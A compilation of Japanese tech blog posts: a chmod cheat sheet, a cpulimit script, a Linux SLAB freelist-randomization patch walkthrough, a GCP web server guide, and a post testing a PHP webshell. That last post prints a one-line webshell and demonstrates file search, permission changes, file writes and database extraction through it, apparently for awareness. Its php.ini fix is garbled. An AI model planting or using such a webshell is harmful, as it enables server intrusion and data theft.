- 投稿日:2019-02-15T22:29:09+09:00
chmod チートシート
1 概要
chmodコマンドはファイルやディレクトリの編集権限を変更するときに使用するコマンドである。
2 編集権限
2.1 権限の意味
ファイルやディレクトリは所有者、グループやその他のユーザーに応じて権限を設定することができる。これはファイルを作成したユーザーが第三者(グループやその他のユーザーなど)によって勝手にファイルを書き換えられるのを防ぐためである。
設定できる権限は主に以下の3つである。
- 読み込み権限
- 書き込み権限
- 実行権限
例えば、自分以外のユーザーの権限をファイルの読み込みと実行権限のみ有効にした場合は、ファイルの中身を表示や実行は可能になるが、ファイルの中身を編集することはできない。
2.2 編集権限の確認
ターミナルで
$ ls -lと打つと次のような結果が表示される。
-rw-r--r-- 1 yourname yourgroup 12M Jan 11 16:18 hogehoge.txtこの表示の前半部分
-rw-r--r--が編集権限を意味する。ただし、一文字目はファイルとディレクトリの識別子である。
例ではtxtファイルなので-となっているが、仮にディレクトリだった場合は
dと表示される。
残りの9文字は次のように分けられる。rw- r-- r--これは、それぞれ所有者、グループ、その他のユーザーの編集権限を意味する。
rやwは設定できる権限の頭文字であり、
- 読み込み権限 → r
- 書き込み権限 → w
- 実行権限 → x
と対応している。仮に、すべてのユーザーが3つの権限を持つ場合、次のようになる。
rwx rwx rwx2.3 権限の編集方法
権限の編集はchmodコマンドによって行われる。
例
chmod 755 hogehoge.txtコマンドオプションの数値は各ユーザーの権限設定であり、8進数で記述する。
0 000 --- 1 001 —x 2 010 -w- 3 011 -wx 4 100 r-- 5 101 r-x 6 110 rw- 7 111 rwx 755の場合は
rwx r-x r-xを設定したことになる。
- 投稿日:2019-02-15T22:16:45+09:00
cpulimitで同一プロセス名の複数のpidのプロセスを捕捉するスクリプトを書いた
どうも、haniokasaiです
cpulimitはプロセス名でプロセスを捕捉できますが、同一名で複数のプロセスは捕捉はされずまったくランダムにpidを決定して捕捉します。
それだと少なくとも私は結構困りますから、pythonスクリプトですべてのプロセスを捕捉するスクリプトを書きました。
https://github.com/haniokasai/cpulimit-multiple
コメントでconfigと書いているらへんを修正して、
python3 cpumultilimit.pyで実行できます。
- 投稿日:2019-02-15T20:15:49+09:00
スラブアロケータのfree list randomizationの実装について
はじめに
みなさんはスラブアロケータのカーネルコンフィグで
CONFIG_SLAB_FREELIST_RANDOM
なるものが存在していることを知っているだろうか。見るからに、ONにするとスラブアロケータが遅くなりそうなオプションである。じゃあなんでこんなコンフィグを用意しているのか。この記事では、その目的と実装、適用後のパフォーマンスについて書きたいと思います。ちなみに筆者は無効化しています。
SLAB freelist randomizationの目的
この世界にはカーネルの脆弱性を突いて任意のコードを実行させてしまおうとする悪いあんちゃんがいます。しかも、カーネルの脆弱性を突くことで、特権レベルでの任意コード実行というOSとしては壊滅的な状態に陥ってしまう可能性があります。ここで代表的な攻撃手法として、
- ヒープオーバーフロー
- スタックオーバーフロー
などがあります。そして、SLAB freelist randomizationはこの一つであるヒープオーバーフロー攻撃を防ぐためのものなのです。
ヒープオーバーフロー攻撃
ヒープオーバーフロー攻撃とは、その名の通り、ヒープ領域のメモリをオーバーランして書き込むことを手段とした攻撃方法です。ヒープ領域に確保された構造体などのフィールドはこれによって変更され、任意のアドレスに強制的にアクセスさせたり、構造体に不正な値を保持させることで、結果的に任意コード実行や、プログラムの誤動作を引き起こすものです。
皆さん知っての通り、スラブアロケータはカーネル内のmallocの役割を担っていて、カーネルに対するヒープオーバーフロー攻撃に大きく関わる存在です。そしてスラブアロケータの脆弱性を突くことで、このヒープオーバーフローが起こされてしまうことが理論的に可能であることが証明され、LinuxのCAN(Controller Area Network)を制御するコードで実際にヒープオーバーフローが可能ということです。
流れとしてはshmid_kernelというカーネル内の構造体を大量に確保し、スラブアロケータが管理するページをすべてこれで埋めます。これにより、攻撃対象の構造体の隣にshmid_kernelが来るように仕向けます。この状態で、ヒープオーバーフローを起こし、攻撃対象を上書きすることで、攻撃が成立するわけです。
詳しくはこのページが参考になります。
https://jon.oberheide.org/blog/2010/09/10/linux-kernel-can-slub-overflow/Linuxカーネル側の対策
Linuxカーネルの開発者たちもこれには黙っていません。既存のスラブアロケータ実装であるSLAB、SLUBではfree list randomizationという機構を導入し、ヒープオーバーフローを防いでいます。
free list randomizationとは、スラブアロケータ内で利用するメモリ領域をランダムに決定することで、すべて同じ構造体で埋めるということを困難にし、今回の脆弱性を回避するという戦略です。なんともめんどくさいですが、しょうがないことなのです。
もちろん、スラブアロケータは高度に最適化されていて、メモリ領域の選択もキャッシュヒット率などを高めるようなアルゴリズムで実装されています。なので、利用するメモリ領域をランダムにすることで、性能が下がるんじゃないかと思われるでしょう。まあ実際下がります。ですが、どちらも微妙なレベルでの変化です。
以下に、LKMLに投稿された性能調査の結果をまとめたものを書いておきます。
初期のSLAB実装
ソース
mm: SLAB freelist randomization
- 原文
Performance results highlighted no major changes:
Hackbench (running 90 10 times):
Before average: 0.0698
After average: 0.0663 (-5.01%)
- 要約
以前のものと修正後のものをHackbenchを用いて性能比較
-5.01%性能が低下しました。
SLUB実装と修正SLAB実装
ソース
mm: SLUB freelist randomization
mm: reorganize SLAB freelist randomization
- 原文
slab_test impact is between 3% to 4% on average for 100000 attempts
without smp. It is a very focused testing, kernbench show the overall
impact on the system is way lower.
- 訳(間違ってるかもしれません)
SMP無しでslab_testで100000回の試行を実行したら性能の影響は、3~4%くらいだった。
これはめっちゃ狭い範囲のテストだけど、kernbench曰く、この修正の性能への影響はそうでもないっぽいな。とのことなので、パフォーマンスには少ししか影響しないようです。では、その実装はどのようになっているのか見ていこうと思います。
先に書かせていただきますと、この記事は、mm: SLAB freelist randomizationのコミットで投げられたパッチを元に書いていきます。
なので、現在の最新のLinuxカーネルとは一部異なることがあることをご了承ください。最新実装との比較は後日書くかもしれません(きっと)。
実装調査
ここでは、SLABのfree list randomizationについて書いていきます。SLUBの実装ではSLAB側で定義した関数が呼ばれていたりするので、まずはこっちからっていう感じですね。
mm: SLAB freelist randomization では、ここのgit差分をもとに見ていきます。
diff --git a/init/Kconfig b/init/Kconfig index 0dfd09d54c65..79a91a2c0444 100644 --- a/init/Kconfig +++ b/init/Kconfig @@ -1742,6 +1742,15 @@ config SLOB endchoice +config SLAB_FREELIST_RANDOM + default n + depends on SLAB + bool "SLAB freelist randomization" + help + Randomizes the freelist order used on creating new SLABs. This + security feature reduces the predictability of the kernel slab + allocator against heap overflows. + config SLUB_CPU_PARTIAL default y depends on SLUB && SMP diff --git a/mm/slab.c b/mm/slab.c index 8133ebea77a4..1ee26a0d358f 100644カーネルビルド設定を反映するためのdefineがなされています。
これが有効化されていると、free list randomizationのコードがコンパイルされます。diff --git a/include/linux/slab_def.h b/include/linux/slab_def.h index 9edbbf352340..8694f7a5d92b 100644 --- a/include/linux/slab_def.h +++ b/include/linux/slab_def.h @@ -80,6 +80,10 @@ struct kmem_cache { struct kasan_cache kasan_info; #endif +#ifdef CONFIG_SLAB_FREELIST_RANDOM + void *random_seq; +#endif + struct kmem_cache_node *node[MAX_NUMNODES]; };スラブキャシュを保持しておくkmem_cache構造体にvoid *型でrandom_seqというフィールドを追加しています。
どうやら、ここに乱数ほ保存しておくつもりのようです。以降、slab.cにガリガリ書いていきます。
一応、今から書くコードはSLAB_FREELIST_RANDOMでブロックされたコードです。一気にコードを貼り付けるとわかりにくくなるので、ご了承願います。+/* Create a random sequence per cache */ +static int cache_random_seq_create(struct kmem_cache *cachep, gfp_t gfp) +{ + unsigned int seed, count = cachep->num; + struct rnd_state state; + + if (count < 2) + return 0; + + /* If it fails, we will just use the global lists */ + cachep->random_seq = kcalloc(count, sizeof(freelist_idx_t), gfp); + if (!cachep->random_seq) + return -ENOMEM; + + /* Get best entropy at this stage */ + get_random_bytes_arch(&seed, sizeof(seed)); + prandom_seed_state(&state, seed); + + freelist_randomize(&state, cachep->random_seq, count); + return 0; +}count(cachep->num)が2未満の場合、ランダムにする必要がない(そもそもできない)ので、0を返して終了しています。
ここで、kmem_cache->random_seqを確保しています。kcallocは配列を確保するです。C標準関数のcallocと同じ働きをします。
freelist_idx_tは次のような定義になっています。#define FREELIST_BYTE_INDEX (((PAGE_SIZE >> BITS_PER_BYTE) \ <= SLAB_OBJ_MIN_SIZE) ? 1 : 0) #if FREELIST_BYTE_INDEX typedef unsigned char freelist_idx_t; #else typedef unsigned short freelist_idx_t; #endifつまり、一つのページをアドレッシングするために必要なサイズだということです。これで、random_seqはページ内の要素をランダムにアドレッシングするためのものだということがわかります。
get_random_bytes_arch(&seed, sizeof(seed)); prandom_seed_state(&state, seed);では、乱数のシードを取得しています。
次に、確保した配列にランダムな値を入れているであろうfreelist_randomization関数を見ましょう。
+static void freelist_randomize(struct rnd_state *state, freelist_idx_t *list, + size_t count) +{ + size_t i; + unsigned int rand; + + for (i = 0; i < count; i++) + list[i] = i; + + /* Fisher-Yates shuffle */ + for (i = count - 1; i > 0; i--) { + rand = prandom_u32_state(state); + rand %= (i + 1); + swap(list[i], list[rand]); + } +}簡単ですね。まず、配列にシーケンシャルな値を代入したあと、いい感じにシャッフルしています。このfreelist_randomize関数をcache_random_seq_create関数の最後に呼び出して、乱数バッファの初期化は終了です。
+/* Destroy the per-cache random freelist sequence */ +static void cache_random_seq_destroy(struct kmem_cache *cachep) +{ + kfree(cachep->random_seq); + cachep->random_seq = NULL; +}次は、乱数バッファの破棄処理です。random_seqはkcallocで確保したメモリ領域なので、kfreeで解放すればOKです。
その後、NULLを代入しておきます。+#else +static inline int cache_random_seq_create(struct kmem_cache *cachep, gfp_t gfp) +{ + return 0; +} +static inline void cache_random_seq_destroy(struct kmem_cache *cachep) { } +#endif /* CONFIG_SLAB_FREELIST_RANDOM */このコードはCONFIG_SLAB_FREELIST_RANDOMが有効化されていないときにコンパイルされるコードです。特に何もせず、正常終了の0を返して終了です。
@@ -2374,6 +2429,8 @@ void __kmem_cache_release(struct kmem_cache *cachep) int i; struct kmem_cache_node *n; + cache_random_seq_destroy(cachep); + free_percpu(cachep->cpu_cache); /* NUMA: free the node structures */これは、__kmem_cache_release関数に追記されたものです。__kmem_cache_releaseはkmem_cache構造体を解放するための関数なので、これが呼ばれたときに、上で説明したcache_random_seq_destroyを呼び出しています。
+/* + * Shuffle the freelist initialization state based on pre-computed lists. + * return true if the list was successfully shuffled, false otherwise. + */ +static bool shuffle_freelist(struct kmem_cache *cachep, struct page *page) +{ + unsigned int objfreelist = 0, i, count = cachep->num; + union freelist_init_state state; + bool precomputed; + + if (count < 2) + return false; + + precomputed = freelist_state_initialize(&state, cachep, count); + + /* Take a random entry as the objfreelist */ + if (OBJFREELIST_SLAB(cachep)) { + if (!precomputed) + objfreelist = count - 1; + else + objfreelist = next_random_slot(&state); + page->freelist = index_to_obj(cachep, page, objfreelist) + + obj_offset(cachep); + count--; + } + + /* + * On early boot, generate the list dynamically. + * Later use a pre-computed list for speed. + */ + if (!precomputed) { + freelist_randomize(&state.rnd_state, page->freelist, count); + } else { + for (i = 0; i < count; i++) + set_free_obj(page, i, next_random_slot(&state)); + } + + if (OBJFREELIST_SLAB(cachep)) + set_free_obj(page, cachep->num - 1, objfreelist); + + return true; +} +#else +static inline bool shuffle_freelist(struct kmem_cache *cachep, + struct page *page) +{ + return false; +} +#endif /* CONFIG_SLAB_FREELIST_RANDOM */shuffle_freelist関数はSLAB実装に見られるfree listの位置決定や、そのfree listの並びを乱数で設定したりします。
cachep->numが2未満の場合、ランダムにする必要がない(そもそもできない)ので、falseを返して終了しています。
次にfreelist_state_initialize関数を呼び出しています。引数にローカル変数の共用体freelist_init_stateのポインタを渡しています。では、この構造体と関数をチラ見します。
+/* Hold information during a freelist initialization */ +union freelist_init_state { + struct { + unsigned int pos; + freelist_idx_t *list; + unsigned int count; + unsigned int rand; + }; + struct rnd_state rnd_state; +};コメントによれば、free listの初期化状態を保持しておくための共用体らしいです。
rnd_state構造体は次のような定義になっています。struct rnd_state { __u32 s1, s2, s3, s4; };本来は、ここに乱数のシード値を詰めるようです。
+/* + * Initialize the state based on the randomization methode available. + * return true if the pre-computed list is available, false otherwize. + */ +static bool freelist_state_initialize(union freelist_init_state *state, + struct kmem_cache *cachep, + unsigned int count) +{ + bool ret; + unsigned int rand; + + /* Use best entropy available to define a random shift */ + get_random_bytes_arch(&rand, sizeof(rand)); + + /* Use a random state if the pre-computed list is not available */ + if (!cachep->random_seq) { + prandom_seed_state(&state->rnd_state, rand); + ret = false; + } else { + state->list = cachep->random_seq; + state->count = count; + state->pos = 0; + state->rand = rand; + ret = true; + } + return ret; +}この関数はfree listのランダム化に関する情報や後々使用する乱数を引数のfreelist_init_stateに詰めるための関数です。
最初の処理、get_random_bytes_arch(&rand, sizeof(rand));で、いい感じの乱数を取得します。
これは、state->randに代入されます。ちなみに、random_seqがNULL、つまり、事前に乱数バッファが初期化されていない場合は、prandom_seed_stateを呼び出して、state->rnd_stateに乱数シードを詰めて、falseを返し、事前計算されていませんでしたよと通知します。この詰めた乱数シードも後々使います。
/*********** shuffle_freelist関数の一部 **************/ + /* Take a random entry as the objfreelist */ + if (OBJFREELIST_SLAB(cachep)) { + if (!precomputed) + objfreelist = count - 1; + else + objfreelist = next_random_slot(&state); + page->freelist = index_to_obj(cachep, page, objfreelist) + + obj_offset(cachep); + count--; + }次にこの処理です。kmem_cache構造体にCFLGS_OBJFREELIST_SLABフラグが立っている場合、この処理が走ります。
このフラグは、このページの領域内にfree listのデータを保存しておく領域がある場合、立っています。このブロックの処理はfree listをどこに保存しておくかという決定を行っています。random_seqがNULLだった場合、precomputedはfalseとなり、free listの一番後ろにfree listの領域を設定します。事前にrandom_seqが確保されていた場合は、next_random_slot関数の返り値がobjfreelistに代入されます。そして、page->freelistには、index_to_obj関数で上で決めたインデックスからスラブキャッシュ領域に変換しオフセットを足したものを代入します。そしてそこにfree listの領域を作ります。最後に、free list分の領域を引くためにcountをデクリメントして、このブロックは終了です。
しかしながら、next_random_slot関数が謎なので、見ていきましょう。
+/* Get the next entry on the list and randomize it using a random shift */ +static freelist_idx_t next_random_slot(union freelist_init_state *state) +{ + return (state->list[state->pos++] + state->rand) % state->count; +}この関数も、free list randomizationのパッチで追加された関数です。まあrandomってついてるしね。
内容としては、乱数を用いて、ランダムにアドレッシングするような処理になっています。
state->listには何が入っているかと言うと、freelist_state_initialize関数を思い出してください。
kmem_cache->random_seqが代入されているわけです。state->posには0が代入されていて、この処理のあと、即インクリメントされることになっています。つまり、random_seqの先頭から乱数を取り出しているわけです。そして、state->randには乱数が入っているので、2つの乱数を足し合わせ、それをstate->count、つまりバッファに入る要素数で余りをとることで、ランダムにインデックスを決定しています。ここで、重要なことは、返すインデックスは決して重複しないということです。まあ、当たり前ですが、重要なことです。では次に行きましょう。
/*********** shuffle_freelist関数の一部 **************/ /* + * On early boot, generate the list dynamically. + * Later use a pre-computed list for speed. + */ + if (!precomputed) { + freelist_randomize(&state.rnd_state, page->freelist, count); + } else { + for (i = 0; i < count; i++) + set_free_obj(page, i, next_random_slot(&state)); + } + + if (OBJFREELIST_SLAB(cachep)) + set_free_obj(page, cachep->num - 1, objfreelist); + + return true; + }shuffle_freelistの最後です。事前にランダムバッファを作っていない場合は、ここで、上で説明したfreelist_randomize関数を呼び出してpage->freelistに乱数を設定します。事前計算していた場合は、ランダムな順番をfreelistに順番に入れていきます。
ちなみに、set_free_obj関数の実装は次のようになっています。
static inline void set_free_obj(struct page *page, unsigned int idx, freelist_idx_t val) { ((freelist_idx_t *)(page->freelist))[idx] = val; }簡単ですね。freelist領域を配列のように扱っているわけです。
+#else +static inline bool shuffle_freelist(struct kmem_cache *cachep, + struct page *page) +{ + return false; +} +#endif /* CONFIG_SLAB_FREELIST_RANDOM */最後に、CONFIG_SLAB_FREELIST_RANDOMが有効化されていないときの処理を記述して終了です
内容は特になく、falseを返して終了です。ここからは、既存の関数に書き加えていく修正です。
static void cache_init_objs(struct kmem_cache *cachep, struct page *page) { int i; void *objp; + bool shuffled; cache_init_objs_debug(cachep, page); - if (OBJFREELIST_SLAB(cachep)) { + /* Try to randomize the freelist if enabled */ + shuffled = shuffle_freelist(cachep, page); + + if (!shuffled && OBJFREELIST_SLAB(cachep)) { page->freelist = index_to_obj(cachep, page, cachep->num - 1) + obj_offset(cachep); }cache_init_objsへの追記です。
この関数では、free listの設定や、オブジェクトの属性設定が行われます。
この追記された部分では、shuffle_freelist関数が呼ばれ実際にfree listのシャッフルが行われています。
その結果はbool型のローカル変数shuffledに代入されます。その後、free listの領域を決定するためにpage->freelistに代入する操作があるんですが、
shuffleを行った場合は、すでにfree listの領域が決定しているので、この操作は飛ばします。
shuffledがfalseだった場合は、free listの領域を決定することになります。@@ -2502,7 +2659,8 @@ static void cache_init_objs(struct kmem_cache *cachep, kasan_poison_object_data(cachep, objp); } - set_free_obj(page, i, i); + if (!shuffled) + set_free_obj(page, i, i); } }これもcache_init_objsへの追記です。
これは、シャッフルされている場合は、既にset_free_objが呼び出されているので、実行しないという追記ですね。
@@ -3841,6 +3999,10 @@ static int enable_cpucache(struct kmem_cache *cachep, gfp_t gfp) int shared = 0; int batchcount = 0; + err = cache_random_seq_create(cachep, gfp); + if (err) + goto end; + if (!is_root_cache(cachep)) { struct kmem_cache *root = memcg_root_cache(cachep); limit = root->limit; @@ -3894,6 +4056,7 @@ static int enable_cpucache(struct kmem_cache *cachep, gfp_t gfp) batchcount = (limit + 1) / 2; skip_setup: err = do_tune_cpucache(cachep, limit, batchcount, shared, gfp); +end: if (err) pr_err("enable_cpucache failed for %s, error %d\n", cachep->name, -err);これは、enable_cpucache関数への追記です。この関数は、__kmem_cache_create->setup_cpu_cache->enable_cpucacheの流れで呼ばれていて、スラブキャッシュの初期化部分と言ってもいいでしょう。なので、cache_random_seq_create関数で乱数バッファを生成する処理をここに入れています。そして、これが失敗した場合は、新しく作ったendラベルにジャンプするという追記になっています。
まとめ
今回は、スラブアロケータのfree list randomizationの目的(少しだけ)と実装について触れました。今回触れたものは、パッチが投げられた当時のソースコードになっています。なので、最新のLinuxカーネルのソースコードと比べるとところどころ異なる部分もあるかと思いますが、多くのところは一致しているのかなと思います。
free list randomizationは意外とシンプルな実装で、読むだけなら簡単なんだと思っていただけると嬉しいです。
次は、SLUB実装との比較や最新実装にも触れたいなぁと。今回は、これだけで結構長くなってしまったのと、筆者が疲れたので、ここで終わりにします。
ありがとうございました。
参考文献
「詳解Linuxカーネル 第3版」 O’Reilly Japan
- 投稿日:2019-02-15T17:45:35+09:00
クラウドでWebサーバを構築する
この文書は何?
クラウドコンピューティングを利用してWebサーバを構築する方法の一つ、GoogleCloudPlatformを使う方法が書かれています。
GoogleCloudPlatformを使ってWebサーバを構築する
手順は次の通り。
1. 仮想マシンを作成し、IPアドレスを固定する
2. 作った仮想マシンにWebサーバソフトをインストールする
3. 仮想マシン起動時にWebサーバソフトが自動的に実行されるようにする
4. 仮想マシンを再起動する仮想マシンを作成する
- 「≡ > Compute Engine > VM インスタンス」をクリック
- 「VM インスタンスを作成」をクリック
- 名前:好きな名前を入力する。(例:my-http-server)
- リージョン:「us-east4」以外の、米国リージョンを選ぶ。(例:「us-central1」)
- ゾーン:リージョン選択時に自動的に指定される。
- マシンタイプ:「micro」
- ブートディスク
- 「変更」をクリック
- 「OSイメージ」をクリック
- 「CentOS7」を選択
- ブートディスクの種類:「標準の永続ディスク」
- サイズ (GB):「30」
- IDとAPIへのアクセス
- サービスアカウント:「Compute Engine default service account」
- アクセススコープ:「デフォルトのアクセス権を許可」
- ファイアウォール
- HTTPトラフィックを許可する:チェック
- HTTPSトラフィックを許可する:チェックしない
- 「作成」をクリック
すると、VMインスタンスが作成されます。
IPアドレスを固定する
- 「≡ > VPCネットワーク > 外部IPアドレス」をクリック
- さっき作った仮想マシンのアドレスのタイプを「エフェメラル」から「静的」に変更する すると、「新しい静的IPアドレスの予約」画面が出るので、名前と説明を記入して「予約」をクリック
- 名前:my-http-server-ip
- 説明:空欄のまま
作った仮想マシンにWebサーバソフトをインストールする
- 「≡ > Compute Engine > VM インスタンス」をクリック
- さっき作った仮想マシンの「SSH」をクリック
すると、コンソール画面が出てきますので、次のコマンドを実行して、Webサーバソフト「httpd」をインストールします。
$ sudo yum install httpd ... Is this ok [y/d/N]: y仮想マシン起動時にWebサーバソフトが自動的に実行されるようにする
前項の作業で使ったコンソール画面で、引き続き次のコマンドを実行し、httpdが仮想マシン起動時に自動的に実行されるようにします。
$ sudo systemctl enable httpd.service最後に「exit」コマンドを実行すると、コンソール画面が閉じられます。
$ exit仮想マシンを再起動する
- 「≡ > Compute Engine > VM インスタンス」をクリック
- さっき作った仮想マシンの「︙ > 停止」をクリック。
- メッセージが表示された場合はさらに「停止」をクリック
- しばらく待ち、アイコンが「■」に変わってから「︙ > 開始」をクリック。
- メッセージが表示された場合はさらに「起動」をクリック
テストページを表示する
- 「≡ > Compute Engine > VM インスタンス」をクリック
- さっき作った仮想マシンの外部IP「xxx.xxx.xxx.xxx」をクリック すると、「Apache HTTP Server Test Page powered by CentOS」というタイトルのページが表示されます。 これで、Webサーバの構築ができました。
こちらもどうぞ
HTTPサーバのHTTPS化
ドメイン名でアクセスできるApache HTTPサーバをHTTPS化する方法の一つ、フリーの証明書を発行する「Let's Encrypt」を利用する方法が書かれています。余談
クラウドコンピューティングによって、サーバに利用する常時起動させるためのマシンを所有していなくても、このように誰でも(Googleアカウントを所有していて、GoogleCloudPlatformを利用することができれば)Webサーバを構築することができます。
- 投稿日:2019-02-15T13:58:59+09:00
webshellで出来ることの検証
はじめに
もしweb上でshellが実行できてしまったら・・・?
改めて脅威を認識するためにwebshellで出来ることを検証しました。とても恐ろしいですので、出来ても悪用しないようにお願いします。
※注 テストサーバであっても外部公開されている環境で行なわないで下さい。前提条件
前提条件として管理しているWebサーバ上に、下記のファイルが置かれてしまった。
という想定の元で検証を進めます。webshell.php<?php system($_GET["cmd"]);?>このようなファイルが置かれてしまうことは・・・
往々にしてありますね。
もし見つけたらgrep
して今すぐ削除して下さい。(笑)正直な話、対策がされていない状態で、こんなファイルが置かれてしまった時点で何でも出来てしまいます。
なので今回はgetパラメータで出来る事に重きを置いて検証します。検証開始
では実際に検証していきます。
簡単なものから試して、最後に応用してみましょう。Step1 検索コマンド
pwd
、ls
、find
といった検索系のコマンドを主に検証してきます。カレントディレクトリの取得
pwd
でカレントディレクトリを取得してみましょう。http://192.168.1.29/test/webshell.php?cmd=pwdディレクトリは残念ながら見せられませんが、カレントディレクトリが取得できます。
ディレクトリ一覧の取得
次に一覧を取得する
ls
を試してみます。
-la
オプションも付けて実行してみましょう。http://192.168.1.29/test/webshell.php?cmd=ls -la正常に取得できますね。ブラウザ上で見ると
<br>
が無いので改行されないのでしょう。
ソースで見れば綺麗に取得できていることがわかります。ファイルの検索
cd
は出来てもあまり意味が無さそうなので、
find
でファイルの検索が出来るか検証してみましょう。http://192.168.1.29/test/webshell.php?cmd=find ./ -name "webshell*"検索も問題なく出来そうですね。
パーミッションで閲覧が出来なければ問題ありませんが、
細かく設定していない場合は脅威になりそうです。Step2 操作コマンド
Step1では検索系を主に検証してきました。
続いては操作系のvi
、chmod
、echo
、cp
を検証していきます。ファイルの書き込み
まずは
vi
から検証進めていきます。http://192.168.1.29/test/webshell.php?cmd=vi webshell.php想定通りでしょうか。
エディタが開くコマンドや対話型のコマンドはWebベースだと上手く行かないようです。
ポーリングしているわけでもないですので、当然と言えば当然ですね。1行でかければ対象行を書いて保存。なんてこともできるかも・・・?
ファイル権限の変更
次に
chmod
で権限を変更してみます。http://192.168.1.29/test/webshell.php?cmd=chmod 777 webshell.php画面上では何も確認出来ませんでしたので、
ls
で確認してみましょう。
ふむ・・・権限変更がされていません。
おっと、よく見るとディレクトリ自体にrootでも書き込み権限がありませんね。ファイルがあげられた時点で書き込み権限はあると思いますが、
今回は試しに書き込み権限がある場所を探してみましょう。
xargs
を使って指定ディレクトリを全て見るのも良いですが、
折角なのでfind
を使用してパーミッションがゆる~いディレクトリを探してみましょう。http://192.168.1.29/test/webshell.php?cmd=find ../../ -type d -maxdepth 1 -ls -perm /777ディレクトリは全部舐めても構いませんが、重いので2~4階層を狙ったほうが良いかもしれません。
-type d
でディレクトリに絞り、-maxdepth 1
で1階層に絞ります。(実際はつけなくて良いです。)
-perm /777
でそれぞれ権限7が付与されているものを検索!全っ然見せられませんが!
権限が許そうなフォルダを見つけることが出来ました。ではゆるふわディレクトリに対して
cp
でコピーが出来るか試してみましょう。http://192.168.1.29/test/webshell.php?cmd=cp webshell.php ../../_XXXXX/webshell.php画面には何も返ってきませんので、
ls
で確認してみましょう。出来ちゃいますね~。
ここならchmod
で権限を返ることも出来るのではないでしょうか!
実行してls
で確認してみましょう。http://192.168.1.29/test/webshell.php?cmd=chmod 777 ../../_XXXXX/webshell.php当然、出来てしまいますね。
書き込み権限があったほうが便利ですので、此処から先の検証はコピーしたファイルとディレクトリを
媒体にして進めていきます。文字出力&ファイルの書き込み
気分を変えて
echo
を検証してみましょう。http://192.168.1.29/test/webshell.php?cmd=echo Hello!
文字が表示できました!!(違)
単純に文字が表示できてもって話ですので、ファイルに文字が書き込めるか試してみます。http://192.168.1.29/test/webshell.php?cmd=echo Hello! >> ../../_XXXXX/webshell.phpお、おお・・・ちゃんと追記されています。
これで、既存のファイルに対してScriptを埋め込むことも可能ですね。しかも
less
すると外部公開していない場所のphp
等々を
ブラウザで出力することが可能ですね・・・。非公開ディレクトリのファイルをブラウザで出力することが可能!
Step3 DB操作コマンド
最後にDB接続できるか検証していきます。
一番面倒くさそうなOracleで検証していきましょう。Oracleの場合だと、インストール時にSQLPlusがインストールされていることが多いです。
SQLPlusがインストールされてなかったら諦めましょう。http://192.168.1.29/test/webshell.php?cmd=sqlplus user/passwd@dbname画面上で何も返ってきませんね。
上記にも書きましたが対話型は厳しいのでしょうか・・・?良くあるrootで-bash権限がないってパターンでしょうかね。
ないなら直接叩けばいいじゃない!!!
ということで
find
でも何でも良いのでsqlplusの場所を探しましょう。
ディレクトリを絞りつつやらないと、timeoutになりがちですね。
/XXX/bin/sqlplus
SQLplusのディレクトリを見つけましたので、早速試してみましょう。
http://192.168.1.29/test/webshell.php?cmd=/XXX/bin/sqlplus user/passwd@dbname接続さはされるけど同時に切断されてしまうようです。
応用編 DBからデータを取得
検証も終盤を迎えました。これからが本番です。
接続出来るだけでは役に立ちませんので、
今まで検証してきたものを合わせてDBからデータを取得を試みます。此処でひとつの仮説を立ててみました。
1コマンドで接続、SQL文の発行まで出来ればSQLの内容を取得できるのではないか?
実現可能かどうかを調べると、
echo
と組み合わせることで発行することが出来そう。
早速、組み立てて実行してみます。http://192.168.1.29/test/webshell.php?cmd=echo select * from dual; | /XXX/bin/sqlplus user/passwd@dbname
echo
でSQL文を記述。パイプでDBに接続します。
いけそうな気がしてきましたね。実行!!・・・
画面から返ってきません。
接続が成功していれば先ほどのように接続しましたという情報が出るはずなので、
何かしらの構文が間違っている可能性があります。・・・
*
と;
が怪しいですね。もしかするとSQL文が発行される前にどこかでエンコードされてしまうのでしょうか。
試し記号をエスケープして実行してみます。http://192.168.1.29/test/webshell.php?cmd=echo select '*' from dual ';' | /XXX/bin/sqlplus user/passwd@dbnamesqlplusの
-s
はサイレントオプションで接続情報が表示されなくなります。余裕でしたね。(1時間くらいかかりました。)
接続してDBから取得することが出来ました~。対策方法
全てを防ぐということは難しいと思いますが、
まずは権限を見直すことでしょうか。ただ、私が途中でパーミッションを検索したように一つでも漏れがあれば、
権限がある場所から如何様にも楽しむことができてしまいます。もう一つの対策としてphpの設定でwebshellを制限掛けることが出来ます。
php.inidisable_functions=web_shellsystemコマンドは殆ど使うことが無いと思いますので、
disableにしてしまって良いと思います。もし現状で公開しているサーバで使用してしているのであれば仕組みに問題があるため、
使用しない作りに修正するべきです。まとめ
今回は自分の知見を深めるために、何処まで出来るのかを検証しました。
何がやれるのかをある程度把握できれば、アラートがあげやすいのではないでしょうか。冒頭にも申し上げましたが、こんなファイル上がった時点で終わりです(笑)
何でも出来てしまいますので、手遅れになる前にセキュリティ意識を高めていきたいですね。